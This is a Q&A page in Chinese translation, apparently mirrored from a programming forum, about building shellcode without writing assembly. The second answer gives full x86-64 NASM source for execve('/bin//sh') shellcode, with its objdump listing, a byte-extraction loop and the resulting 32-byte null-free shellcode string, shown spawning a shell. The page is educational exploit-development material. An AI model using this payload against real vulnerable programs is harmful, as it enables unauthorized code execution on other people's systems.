构造一个shellcode而不会搞乱程序集

时间:2017-04-12 02:22:59

标签: assembly exploit shellcode

是否可以构建shellcode而无需在汇编中编写代码?

我尝试编译以下简单的应用程序:

#include <stdlib.h>

int main(int argc, char** argv)
{
        char* args[] = { "/bin/bash", NULL };
        execve("bin/bash", &args, NULL);
        return 0;
}

然后我编译了它并使用gdb来获得以下内容:

(gdb) x/15i main
   0x400506 <main>:     push   %rbp
   0x400507 <main+1>:   mov    %rsp,%rbp
=> 0x40050a <main+4>:   sub    $0x20,%rsp
   0x40050e <main+8>:   mov    %edi,-0x14(%rbp)
   0x400511 <main+11>:  mov    %rsi,-0x20(%rbp)
   0x400515 <main+15>:  movq   $0x4005d4,-0x10(%rbp)
   0x40051d <main+23>:  movq   $0x0,-0x8(%rbp)
   0x400525 <main+31>:  lea    -0x10(%rbp),%rax
   0x400529 <main+35>:  mov    $0x0,%edx
   0x40052e <main+40>:  mov    %rax,%rsi
   0x400531 <main+43>:  mov    $0x4005de,%edi
   0x400536 <main+48>:  callq  0x4003f0 <execve@plt>
   0x40053b <main+53>:  mov    $0x0,%eax
   0x400540 <main+58>:  leaveq
   0x400541 <main+59>:  retq

不幸的是我无法使用它来生成shellcode,因为使用了全局偏移表[main + 48]。

如何修复此方法以生成shellcode而无需返回到程序集。

2 个答案:

答案 0 :(得分:1)

你不能。

C编译器不知道如何直接生成系统调用。所有它知道如何做的是调用函数 - 它使用GOT。

(您可以通过使用内联汇编程序解决此问题,但这仍然是“在汇编中编写代码”,您已经说过要避免使用它。)

除此之外,您还会发现C编译器将生成偶然包含空字节的程序集。这将无法在许多应用程序中起作用。

了解如何编写汇编或使用其他人的shellcode。

答案 1 :(得分:0)

这是一个使用/ bin / sh和stack方法使用execve打开shell的示例。

我目前正在阅读安全管的Linux大会64位课程,以及阅读黑客,剥削艺术,Jon Erickson;它使用x86汇编。

; David @InfinitelyManic
; execute_shellcode_stack.s
; nasm -felf64 -g -F dwarf execute_shellcode_stack.s -o execute_shellcode_stack.o  && ld execute_shellcode_stack.o -o execute_shellcode_stack
; code from course: http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/
;
section .bss
section .data
section .text
        global _start
_start:
        ;  <syscall name="execve" number="59"/>
        ;  int execve(const char *filename, char *const argv[], char *const envp[]);
        ;  x86_64                 rdi                   rsi                 rdx       r10 r8 r9

        xor rax, rax                            ; null
        push rax                                ; push 0x00

        ; we need /bin//sh in hex in reverse
        ; rev <<< "/bin//sh" | xxd -g4
        ; 00000000: 68732f2f 6e69622f 0a                 hs//nib/.

        mov rbx, 0x68732f2f6e69622f     ; hs//nib/ ascii

        push rbx                        ; push '/bin//sh' to stack

        mov rdi, rsp                    ; _filename = '/bin//sh'0000

        push rax                        ; second null 0x00 ""

        mov rdx, rsp                    ; envp = array of strings == null

        push rdi                        ; push _filename

        mov rsi, rsp                    ; argv = array of argument strings  = _filename

        add rax, 59                     ; syscall # for execve

        syscall

objdump的:

execute_shellcode_stack:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080:       48 31 c0                xor    rax,rax
  400083:       50                      push   rax
  400084:       48 bb 2f 62 69 6e 2f    movabs rbx,0x68732f2f6e69622f
  40008b:       2f 73 68
  40008e:       53                      push   rbx
  40008f:       48 89 e7                mov    rdi,rsp
  400092:       50                      push   rax
  400093:       48 89 e2                mov    rdx,rsp
  400096:       57                      push   rdi
  400097:       48 89 e6                mov    rsi,rsp
  40009a:       48 83 c0 3b             add    rax,0x3b
  40009e:       0f 05                   syscall

为C prog生成shellcode:

$ for i in $(objdump -d execute_shellcode_stack | grep "^ " |cut -f2); do echo -n "\x"$i; done; echo
\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05

输出:

 $ ./shellcode
Shellcode Length: 32
$